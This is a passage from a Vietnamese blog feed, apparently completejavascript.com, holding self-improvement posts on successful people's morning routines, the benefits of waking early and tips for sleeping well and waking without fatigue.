href="https://www.amazon.com/Paleo-Thyroid-Solution-Fatigued-Uninformed/dp/1939563240">The Paleo Thyroid Solution</a></em></p> <h2 id="xác-định-một-hoặc-hai-sự-ưu-tiên-lớn-nhất" style="position:relative;"><a href="#x%C3%A1c-%C4%91%E1%BB%8Bnh-m%E1%BB%99t-ho%E1%BA%B7c-hai-s%E1%BB%B1-%C6%B0u-ti%C3%AAn-l%E1%BB%9Bn-nh%E1%BA%A5t" aria-label="xác định một hoặc hai sự ưu tiên lớn nhất permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xác định một hoặc hai sự ưu tiên lớn nhất</h2> <p>Tôi thức dậy lúc 5 giờ 30 phút. Tôi uống 20 ounce nước, cái kích hoạt sự chuyển hóa của cơ thể. Sau đó, tôi viết ra danh sách của những thứ mình biết ơn cho buổi sáng.</p> <p>Tôi thiết lập mục đích của ngày hôm đó, xác định ra một hoặc hai thứ lớn nhất mà tôi phải đạt được để cảm thấy rằng tôi đang tiến tới mục tiêu của mình và có một ngày tuyệt vời.</p> <p><em>— Jon Braddock, founder and CEO of <a href="http://www.mylifeandwishes.com/">My Life &#x26; Wishes</a></em></p> <h2 id="những-thứ-tuyệt-vời-nhất-xảy-ra-trước-8-giờ-sáng" style="position:relative;"><a href="#nh%E1%BB%AFng-th%E1%BB%A9-tuy%E1%BB%87t-v%E1%BB%9Di-nh%E1%BA%A5t-x%E1%BA%A3y-ra-tr%C6%B0%E1%BB%9Bc-8-gi%E1%BB%9D-s%C3%A1ng" aria-label="những thứ tuyệt vời nhất xảy ra trước 8 giờ sáng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Những thứ tuyệt vời nhất xảy ra trước 8 giờ sáng</h2> <p>Tôi dậy rất sớm: 4 giờ 15 phút sáng là lần báo thức đầu tiên, báo hiệu 15 phút của thời gian biết ơn trước lượt báo thứ hai lúc 4 giờ 30 phút, khi tôi bật dậy khỏi giường và ở phòng Gym từ 5 giờ sáng đến 6 giờ sáng, tiếp theo là tập luyện thể hình với huấn luyện viên cá nhân.</p> <p>6 giờ 30 sáng đến 7 giờ sáng là thời gian thiền và tầm nhìn, nơi mà tôi tập trung vào việc đạt được mục tiêu và ước mơ. 7 giờ 15 đến 7 giờ 45 là thời gian cho gia đình. 8 giờ, công việc bắt đầu.</p> <p><em>— <a href="http://www.adelemclay.com/about-adele-business-growth-coach/">Adèle McLay</a>, business growth consultant, author, speaker</em></p> <h2 id="làm-việc-cho-bản-thân-những-người-khác-sáng-tạo-và-sứ-mệnh" style="position:relative;"><a href="#l%C3%A0m-vi%E1%BB%87c-cho-b%E1%BA%A3n-th%C3%A2n-nh%E1%BB%AFng-ng%C6%B0%E1%BB%9Di-kh%C3%A1c-s%C3%A1ng-t%E1%BA%A1o-v%C3%A0-s%E1%BB%A9-m%E1%BB%87nh" aria-label="làm việc cho bản thân những người khác sáng tạo và sứ mệnh permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Làm việc cho bản thân, những người khác, sáng tạo và sứ mệnh</h2> <p>Đầu tiên là chăm lo cho chính mình. Tôi thiền, sử dụng <a href="https://www.intelligentchange.com/pages/our-story"><em>Five Minute Journal</em></a> của tôi, di chuyển, và tập thể dục, và uống Protein.</p> <p>Sau đó, tôi quan tâm đến những người khác, bởi việc giúp đỡ một số người bằng một vài cách: tôi post một <a href="https://chrisplough.com/cps-40th-ploughshare-birthday/">#PloughShare</a> online, gửi đi một bài viết về sự biết ơn hay tạo ra một bài giới thiệu ý nghĩa.</p> <p>Tôi tạo ra, thường xuyên qua việc viết lách, mặc dù thỉnh thoảng tôi vẽ tranh hay tạo ra những bức ảnh. Cuối cùng, tôi thực hiện một bước đáng giá để tiến gần hơn với sứ mệnh của mình.</p> <p>— <em><a href="https://chrisplough.com/about-me/">Chris Plough</a>, entrepreneur advisor and serial entrepreneur</em></p> <h2 id="sự-yên-bình-sớm-tạo-nên-bản-vẽ-của-thành-công" style="position:relative;"><a href="#s%E1%BB%B1-y%C3%AAn-b%C3%ACnh-s%E1%BB%9Bm-t%E1%BA%A1o-n%C3%AAn-b%E1%BA%A3n-v%E1%BA%BD-c%E1%BB%A7a-th%C3%A0nh-c%C3%B4ng" aria-label="sự yên bình sớm tạo nên bản vẽ của thành công permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sự yên bình sớm tạo nên bản vẽ của thành công</h2> <p>Là một bác sĩ, nhà khởi nghiệp và cha của những đứa trẻ, buổi sáng của tôi có thể dễ dàng trở nên lộn xộn nếu không được thực hiện tốt. Tôi thức dậy lúc 6 giờ 30 và có ít nhất 30 phút bình yên, không xao nhãng.</p> <p>Tôi nhấp một chút cà phê buổi sáng trong khi để cho tâm trí đi vào trạng thái đúng qua việc thiền, xem lại mục tiêu trong ngày, đọc sách về giáo dục và cầu nguyện.</p> <p>Suy nghĩ tích cực nuôi dưỡng sức mạnh to lớn trong tâm trí bạn, vì vậy tôi thực sự theo đuổi trạng thái tinh thần này.</p> <p>Nếu tôi không thực hành việc ăn chay liên tục, tôi sẽ ăn sáng nhẹ, uống một ít thực phẩm bổ sung dinh dưỡng dựa trên các xét nghiệm máu mới nhất trong phòng thí nghiệm. Sau đó, tôi bắt đầu công việc với ngọn lửa đam mê và năng lượng để chiếm hữu ngày đó.</p> <p><em>— Dr. Nick Zyrowski, founder of <a href="http://nuvisionexcel.com/">NuVision Health Center</a></em></p> <p>Trên đây là những chia sẽ hữu ích của một số những người thành công trên thế giới. Mặc dù, việc dịch của tôi vẫn chưa được tốt lắm, nhưng mong rằng nó vẫn truyền tải được đầy đủ ý nghĩa của bài viết gốc. Hy vọng, bạn đọc phần nào biết được những người thành công dậy sớm thì làm gì.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[5 lợi ích của việc thức dậy sớm]]><![CDATA[Xin chào các bạn, bài viết trước tôi có viết về cách để thức dậy sớm mà không cảm thấy mệt mỏi. Nhiều bạn sẽ hỏi là thức dậy sớm để làm gì? Tại sao phải thức dậy sớm? Trong bài…]]>https://completejavascript.com/5-loi-ich-cua-viec-thuc-day-som/https://completejavascript.com/5-loi-ich-cua-viec-thuc-day-som/Tue, 26 Dec 2017 13:48:34 GMT<p>Xin chào các bạn, bài viết trước tôi có viết về cách để <a href="/thuc-day-som-khong-cam-thay-met-moi/">thức dậy sớm</a> mà không cảm thấy mệt mỏi. Nhiều bạn sẽ hỏi là thức dậy sớm để làm gì? Tại sao phải thức dậy sớm? Trong bài viết này, tôi sẽ chỉ cho các bạn thấy 5 lợi ích của việc thức dậy sớm.</p> <h2 id="tinh-thần-sảng-khoái-năng-lượng-tràn-trề" style="position:relative;"><a href="#tinh-th%E1%BA%A7n-s%E1%BA%A3ng-kho%C3%A1i-n%C4%83ng-l%C6%B0%E1%BB%A3ng-tr%C3%A0n-tr%E1%BB%81" aria-label="tinh thần sảng khoái năng lượng tràn trề permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tinh thần sảng khoái, năng lượng tràn trề</h2> <p>Đúng vậy, nếu như các bạn thực hiện đi ngủ đúng thời lượng, đúng thời điểm, chuẩn bị đi ngủ đúng cách để có một giấc ngủ ngon thì nhất định các bạn sẽ thức dậy sớm với một tinh thần sảng khoái, năng lượng tràn trề và sẵn sàng chinh phục mọi thử thách.</p> <h2 id="thức-dậy-sớm-cho-bạn-không-gian-yên-tĩnh-và-tập-trung-vào-công-việc" style="position:relative;"><a href="#th%E1%BB%A9c-d%E1%BA%ADy-s%E1%BB%9Bm-cho-b%E1%BA%A1n-kh%C3%B4ng-gian-y%C3%AAn-t%C4%A9nh-v%C3%A0-t%E1%BA%ADp-trung-v%C3%A0o-c%C3%B4ng-vi%E1%BB%87c" aria-label="thức dậy sớm cho bạn không gian yên tĩnh và tập trung vào công việc permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thức dậy sớm cho bạn không gian yên tĩnh và tập trung vào công việc</h2> <p>Nếu bạn đã từng thức dậy sớm rồi thì sẽ thấy rằng buổi sáng là lúc yên tĩnh nhất trong ngày. Vào sáng sớm, bạn sẽ không nghe thấy tiếng tivi, tiếng người nói chuyện, tranh cãi với nhau... Thứ âm thanh duy nhất mà bạn có thể nghe thấy, đó là tiếng gà gáy.</p> <p>Mà cái này thì chắc cũng không ảnh hưởng lắm. Lúc này chỉ có bạn với đam mê công việc của mình. Bạn có thể tập trung và giải quyết mọi vấn đề.</p> <h2 id="có-thêm-một-đến-hai-tiếng-mỗi-ngày-để-học-những-thứ-mới" style="position:relative;"><a href="#c%C3%B3-th%C3%AAm-m%E1%BB%99t-%C4%91%E1%BA%BFn-hai-ti%E1%BA%BFng-m%E1%BB%97i-ng%C3%A0y-%C4%91%E1%BB%83-h%E1%BB%8Dc-nh%E1%BB%AFng-th%E1%BB%A9-m%E1%BB%9Bi" aria-label="có thêm một đến hai tiếng mỗi ngày để học những thứ mới permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Có thêm một đến hai tiếng mỗi ngày để học những thứ mới</h2> <p>Không còn phải nghi ngờ gì nữa, đúng không? Trong khi mọi người đang ngủ thì bạn ngồi làm công việc của mình. Giả sử mỗi ngày bạn thức dậy lúc 5 giờ 30 và bắt đầu làm việc từ 6 giờ đến 7 giờ. Bạn sẽ có thêm một tiếng làm việc mỗi ngày.</p> <p>Kiên trì như vậy trong vòng một năm, bạn sẽ có thêm trên 300 giờ (trừ đi một số ngày nghỉ lễ, du lịch hoặc lười quá,...). Với 300 giờ này, bạn hoàn toàn có thể (tương đối) thành thạo một ngôn ngữ lập trình mới.</p> <p>Hay bạn có thể hoàn thiện một kĩ năng mới. Hoặc đơn giản là bạn dành thời gian đó để tập thể dục thì bạn cũng sẽ có sức khỏe vô cùng tốt. Mọi người làm được thì bạn cũng có thể, phải không ạ?</p> <h2 id="có-thời-gian-chuẩn-bị-đồ-ăn-sáng-và-kế-hoạch-làm-việc-trong-ngày" style="position:relative;"><a href="#c%C3%B3-th%E1%BB%9Di-gian-chu%E1%BA%A9n-b%E1%BB%8B-%C4%91%E1%BB%93-%C4%83n-s%C3%A1ng-v%C3%A0-k%E1%BA%BF-ho%E1%BA%A1ch-l%C3%A0m-vi%E1%BB%87c-trong-ng%C3%A0y" aria-label="có thời gian chuẩn bị đồ ăn sáng và kế hoạch làm việc trong ngày permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Có thời gian chuẩn bị đồ ăn sáng và kế hoạch làm việc trong ngày</h2> <p>Có bao giờ bạn thức dậy, rồi sau đó vội vàng mặc quần áo, đánh răng rửa mặt để đi học, đi làm cho kẻo muộn? Có bao giờ bạn thức dậy và bắt đầu một ngày mới mà không biết mình sẽ phải làm gì?</p> <p>Tôi nghĩ là CÓ, vì tôi cũng từng như vậy. Cảm giác cuộc sống như kiểu LẠC TRÔI vậy. Nó trôi đi đâu mình cũng không biết nữa.</p> <p>Đó là vì các bạn chưa có sự chuẩn bị. Trong bất kỳ một cuộc thi nào, người chiến thắng sẽ là người có sự chuẩn bị kĩ lưỡng nhất.</p> <p>Vì vậy, việc thức dậy sớm để chuẩn bị cho một ngày mới, trước tiên là giúp bạn chiến thắng được sự lười biếng của chính mình. Đó là điều quan trọng nhất. Sau đó, nó sẽ dẫn đến nhiều thành công khác nữa.</p> <h2 id="tốt-cho-sức-khỏe-phù-hợp-với-thời-gian-sinh-học-của-con-người" style="position:relative;"><a href="#t%E1%BB%91t-cho-s%E1%BB%A9c-kh%E1%BB%8Fe-ph%C3%B9-h%E1%BB%A3p-v%E1%BB%9Bi-th%E1%BB%9Di-gian-sinh-h%E1%BB%8Dc-c%E1%BB%A7a-con-ng%C6%B0%E1%BB%9Di" aria-label="tốt cho sức khỏe phù hợp với thời gian sinh học của con người permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tốt cho sức khỏe, phù hợp với thời gian sinh học của con người</h2> <p>Con người chúng ta khác với nhiều loài thú vật khác (những loài ngủ ngày, cày đêm). Con người cần phải đi ngủ vào ban đêm và thức dậy, làm việc vào ban ngày (ở đây tôi không nói đến một số công việc bắt buộc làm việc ban đêm như ca kíp, vệ sinh đường phố,...).</p> <p>Mà thường thì những cái gì hợp với tự nhiên thì sẽ tồn tại, trái với tự nhiên thì sẽ bị đào thải. Đó chính là quy luật tiến hóa, đúng không ạ?</p> <p>Trên đây là 5 lợi ích của việc thức dậy sớm. Không biết bạn đọc có suy nghĩ thế nào về vấn đề này? Có cái nào không đúng, hay thiếu cái gì thì vui lòng chia sẻ bằng cách bình luận phía dưới nhé.</p> <p>Xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Làm sao để thức dậy sớm mà không cảm thấy mệt mỏi]]><![CDATA[Bạn có quá nhiều việc phải làm. Bạn chăm chỉ, cố gắng để biến ước mơ trở thành hiện thực. Nhưng một ngày thì vẫn chỉ có 24 giờ. Vậy làm thế nào để bạn có thêm một đến hai giờ làm…]]>https://completejavascript.com/thuc-day-som-khong-cam-thay-met-moi/https://completejavascript.com/thuc-day-som-khong-cam-thay-met-moi/Sat, 23 Dec 2017 01:22:31 GMT<p>Bạn có quá nhiều việc phải làm. Bạn chăm chỉ, cố gắng để biến ước mơ trở thành hiện thực. Nhưng một ngày thì vẫn chỉ có 24 giờ. Vậy làm thế nào để bạn có thêm một đến hai giờ làm việc hiệu quả mỗi ngày?</p> <p>Câu trả lời là: Hãy <strong>THỨC DẬY SỚM</strong>. Bởi lẽ, buổi sáng là khoảng thời gian mà bộ não hoạt động hiệu quả nhất. Nhưng làm sao để thức dậy sớm mà không cảm thấy mệt mỏi? Sau đây là một số cách giúp bạn đạt được điều này.</p> <h2 id="xác-định-thời-lượng-ngủ-một-ngày" style="position:relative;"><a href="#x%C3%A1c-%C4%91%E1%BB%8Bnh-th%E1%BB%9Di-l%C6%B0%E1%BB%A3ng-ng%E1%BB%A7-m%E1%BB%99t-ng%C3%A0y" aria-label="xác định thời lượng ngủ một ngày permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xác định thời lượng ngủ một ngày</h2> <p>Trước tiên, để thức dậy sớm mà không cảm thấy mệt mỏi, bạn cần phải xác định được thời lượng ngủ trong một ngày của mình. Có nhiều bạn nói rằng họ cần ngủ từ 8 đến 10 tiếng thì mới tỉnh táo.</p> <p>Thực tế, ngủ quá nhiều sẽ không tốt cho bộ não. Vì một phần của não bộ vẫn hoạt động khi chúng ta ngủ. Do đó, nếu bạn ngủ quá nhiều thì phần não này sẽ phải hoạt động quá sức.</p> <p>Do vậy, thời lượng ngủ phù hợp là từ 6 đến 8 tiếng (đối với những người trẻ như chúng ta). Với mình thì một ngày ngủ 6 giờ 30 phút là đủ để tỉnh táo.</p> <p>Khi bạn đã xác định được thời lượng ngủ một ngày rồi thì hãy chuyển đến phần tiếp sau đây.</p> <h2 id="xác-định-thời-điểm-đi-ngủ-và-thức-dậy" style="position:relative;"><a href="#x%C3%A1c-%C4%91%E1%BB%8Bnh-th%E1%BB%9Di-%C4%91i%E1%BB%83m-%C4%91i-ng%E1%BB%A7-v%C3%A0-th%E1%BB%A9c-d%E1%BA%ADy" aria-label="xác định thời điểm đi ngủ và thức dậy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xác định thời điểm đi ngủ và thức dậy</h2> <p>Yếu tố tiếp theo quyết định việc bạn có cảm thấy mệt mỏi khi thức dậy hay không, đó là: xác định thời điểm đi ngủ và thức dậy. Bởi vì, dù bạn ngủ đủ 8 tiếng một ngày, nhưng bạn ngủ quá muộn (ví dụ từ 2 giờ sáng đến 10 giờ sáng), thì bạn vẫn sẽ cảm thấy mệt mỏi.</p> <p>Theo mình, thời gian đi ngủ hợp lý là từ 9 giờ tối đến 12 giờ đêm (0 giờ sáng), để đảm bảo được tính âm - dương của giấc ngủ và thời gian sinh học của cơ thể người (các bạn có thể tìm hiểu thêm về giấc ngủ tại <a href="http://soha.vn/ts-nguyen-manh-hung-rat-nhieu-nguoi-dang-ngu-sai-gio-ho-khong-biet-duong-toi-nghia-dia-dan-ngan-lai-20170403001704476.htm">đây</a>).</p> <p>Trong xã hội hiện đại mà có quá nhiều cám dỗ như ngày nay thì việc đi ngủ sớm quả thật là một điều vô cùng khó khăn. Nhiều bạn thì đi chơi với bạn trai, bạn gái đến 11, 12 giờ đêm.</p> <p>Nhiều bạn khác thì ở nhà, nhưng lướt facebook, xem phim cũng phải đến 1, 2 giờ sáng... Thật khó để chúng ta bỏ đi những thứ đó, nhưng làm sao cân bằng được cuộc sống mới là điều quan trọng.</p> <p>Mình thường đi ngủ lúc 11 giờ tối và thức dậy vào 5 giờ 30 phút sáng (dĩ nhiên vẫn có những hôm ngoại lệ, con người mà, đâu phải máy móc đúng không). Mình nghĩ rằng đây là thời điểm khá phù hợp.</p> <p>Vì bạn vẫn có thời gian để làm một vài thứ vào buổi tối (học tiếng anh, học đàn, hát, chat chít với bạn bè,....). Và khi thực dậy buổi sáng thì bạn cũng có thêm ít nhất là 1 giờ (từ 5 giờ 30 đến 6 giờ 30) để thực hiện công việc của mình. Hợp lý phải không các bạn?</p> <p>Sau khi đã xác định được thời lượng, thời điểm dành cho giấc ngủ, việc tiếp theo là nâng cao chất lượng giấc ngủ.</p> <h2 id="chuẩn-bị-để-có-giấc-ngủ-ngon" style="position:relative;"><a href="#chu%E1%BA%A9n-b%E1%BB%8B-%C4%91%E1%BB%83-c%C3%B3-gi%E1%BA%A5c-ng%E1%BB%A7-ngon" aria-label="chuẩn bị để có giấc ngủ ngon permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuẩn bị để có giấc ngủ ngon</h2> <p>Một giấc ngủ ngon sẽ giúp cơ thể tái tạo lại năng lượng đã mất, giúp cơ thể sảng khoái và hoạt động hiệu quả trong ngày hôm sau. Để ngủ ngon, bạn có thể thực hiện một số việc sau đây mà mình cảm thấy khá hiệu quả:</p> <ul> <li>Xem lại danh sách công việc của bạn trong ngày hôm đó. Những việc nào đã được hoàn thành, những việc nào còn dang dở. Mục đích là giúp bạn không còn cảm thấy vướng bận việc gì trước khi đi ngủ.</li> <li>Lên kế hoạch cho những việc sẽ làm trong ngày hôm sau. Tốt nhất là hãy ghi ra và quên nó cho đến khi thức dậy. Bạn sẽ không muốn việc vừa nằm ngủ và vừa nghĩ đến công việc của ngày hôm sau.</li> <li>Rời xa thiết bị điện tử, công nghệ (ti vi, điện thoại, máy tính,…) ít nhất 30 phút trước khi đi ngủ. Đây quả thật là việc khó trong thời điểm hiện tại. Khi mà công nghệ đang chiếm một vị trí quan trọng trong cuộc sống của chúng ta. Đơn giản là hãy sống chậm lại, tắt điện thoại, máy tính đi và NGỦ.</li> <li>Đọc sách: đọc sách giấy là một cách giúp bạn tránh xa thiết bị điện tử. Hơn nữa, đọc sách còn cung cấp tri thức cho chúng ta.</li> <li>Nghe những bản nhạc nhẹ nhàng. Cách này giúp bạn cảm thấy yên bình, tĩnh tâm hơn.</li> <li>Tắt đèn, giữ cho không gian ngủ yên tĩnh. Chắc chắn là bạn sẽ không thể ngủ được nếu như đèn thì chiếu thẳng vào mắt, hay khi quá ồn ào, trừ khi bạn quá mệt mỏi.</li> </ul> <p>Đó là những việc bạn có thể làm để chuẩn bị cho một giấc ngủ ngon. Vậy khi thức dậy thì sao?</p> <h2 id="những-việc-nên-làm-khi-thức-dậy-sớm" style="position:relative;"><a href="#nh%E1%BB%AFng-vi%E1%BB%87c-n%C3%AAn-l%C3%A0m-khi-th%E1%BB%A9c-d%E1%BA%ADy-s%E1%BB%9Bm" aria-label="những việc nên làm khi thức dậy sớm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Những việc nên làm khi thức dậy sớm</h2> <p>Những việc bạn làm khi thức dậy sớm là rất quan trọng. Nó quyết định đến năng suất công việc và chất lượng cuộc sống của bạn ngày hôm đó. Những hoạt động sau đây có thể giúp bạn có một ngày hoạt động hiệu quả.</p> <ul> <li>Rửa mặt: Rửa mặt giúp bạn tỉnh táo và đánh tan cơn buồn ngủ ngay lập tức.</li> <li>Uống một cốc nước: Sau một đêm, cơ thể bạn thường thiếu nước, việc bổ sung nước giúp thanh lọc cơ thể. Bạn sẽ cảm thấy sảng khoái hơn.</li> <li>Tập thể dục nhẹ nhàng khoảng 15 phút. Việc này giúp khởi động cơ thể, tuần hoàn máu tốt hơn, tái tạo nhiều năng lượng cho cơ thể.</li> <li>Nghe những bạn nhạc vui tươi, tạo động lực.</li> <li>Xem lại kế hoạch đã viết ngày hôm trước và bắt tay ngay vào thực hiện công việc. Bởi lẽ, mục tiêu của bạn khi thức dậy sớm là để thực hiện công việc của mình. Vì vậy, hãy xem lại danh sách công việc, điều chỉnh cho hợp lý và bắt tay ngay vào làm thôi.</li> <li>Hoặc nếu bạn có mong muốn học <a href="/javascript/">lập trình JavaScript</a> thì có thể đọc các bài viết tại blog <a href="/">CompleteJavaScript</a>.</li> </ul> <p>Trên đây là những cách để giúp bạn thức dậy sớm mà không cảm thấy mệt mỏi. 